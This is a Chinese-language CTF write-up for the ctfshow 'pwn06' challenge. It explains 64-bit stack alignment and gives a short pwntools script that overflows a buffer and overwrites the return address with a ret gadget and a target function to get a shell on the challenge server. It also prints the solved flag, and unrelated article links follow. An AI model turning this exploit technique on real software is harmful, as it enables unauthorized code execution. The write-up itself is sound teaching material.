pwn06(关于64位程序堆栈平衡的处理)

简介: pwn06(关于64位程序堆栈平衡的处理)

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

简单检查一下,发现是64位程序

同样放进IDA反编译main函数,得到伪代码

只有一个welcome函数,双击跟进

存在栈溢出

我们开始找需要利用的函数的地址(函数开始的地址)

400577

对于32位程序我们只需要这个地址;

但是对于64位程序,我们还需要找 lev 的地址或者该函数结束即 retn 的地址

40057B 或者 40058E 都可以,构造payload时将该地址放在函数开始地址之前

我们再找距离 (造成栈溢出的函数到栈底的距离)

32位里我们找的ebp,64位里叫rbp

这里是C,十六进制的C也就是12

我们前面说过,距离还需要再加上栈底的字节大小,32位是加4,64位是加8

同样这里主函数没有输出东西,因此不需要调用接收函数

编写exp脚本:

from pwn import *
p =remote("pwn.challenge.ctf.show",28138)
payload = b"a" * (0xC+8)+ p64(0x40058E) + p64(0x400577) 
p.send(payload)
p.interactive()

#使用40057B也是可以的,前面也可以将结果加出来,C就是12,12+8=20,换成16进制就是0x14

使用python运行脚本

执行命令拿到flag

ctfshow{91ec74ab-3b94-4848-8495-2889971c5a1b}

目录
相关文章
|
8月前
|
Unix Linux
【Linux】一文了解【进程优先级相关知识点】&【PRI / NI值】背后的修正原理(13)
【Linux】一文了解【进程优先级相关知识点】&【PRI / NI值】背后的修正原理(13)
|
存储 缓存 Linux
linux下定位多线程内存越界问题实践总结
linux下定位多线程内存越界问题实践总结
|
开发框架 .NET API
绝顶技术:断点+内存映射组合的 CLR 超强 BUG?
你见过【断点+内存映射】制造了一个另类隐藏极深,强悍的 BUG 吗?这是一个虚拟机 CLR 的 BUG。不同于之前所遇见的 BUG 这次费时最多,但是问题已然清晰。
238 0
|
存储 监控 Linux
《Linux操作系统编程》 第六章 Linux中的进程监控: fork函数的使用,以及父子进程间的关系,掌握exec系列函数
《Linux操作系统编程》 第六章 Linux中的进程监控: fork函数的使用,以及父子进程间的关系,掌握exec系列函数
179 0
|
存储 资源调度 算法
【操作系统--页面置换算法】C语言详解--大作业版(附代码)
该实验为作者OS课程大作业,内容若有问题,望指出,多多交流
562 0
|
存储 缓存 固态存储
初始Linux—Linux系统编程第三节——初始进程
在说冯诺依曼体系结构之前,我们先来了解这么一个常识:我们的电脑或者手机,总的来说,其体系结构都是由 软件+硬件 构成。
204 0
初始Linux—Linux系统编程第三节——初始进程
|
编译器 内存技术
【CSAPP】深入理解计算机系统 第九章 虚拟内存 动态链接 printf 17/26
【CSAPP】深入理解计算机系统 第九章 虚拟内存 动态链接 printf 17/26
86 0
【CSAPP】深入理解计算机系统 第九章 虚拟内存 动态链接 printf 17/26
|
监控 NoSQL 算法
【Linux进程概念】:冯 • 诺依曼体系结构 | 操作系统 | 进程 | fork | 进程状态 | 优先级 下
【Linux进程概念】:冯 • 诺依曼体系结构 | 操作系统 | 进程 | fork | 进程状态 | 优先级
258 0
【Linux进程概念】:冯 • 诺依曼体系结构 | 操作系统 | 进程 | fork | 进程状态 | 优先级 下
|
存储 缓存 Linux
【Linux进程概念】:冯 • 诺依曼体系结构 | 操作系统 | 进程 | fork | 进程状态 | 优先级 上
【Linux进程概念】:冯 • 诺依曼体系结构 | 操作系统 | 进程 | fork | 进程状态 | 优先级
173 0
【Linux进程概念】:冯 • 诺依曼体系结构 | 操作系统 | 进程 | fork | 进程状态 | 优先级 上

热门文章

最新文章

相关实验场景

更多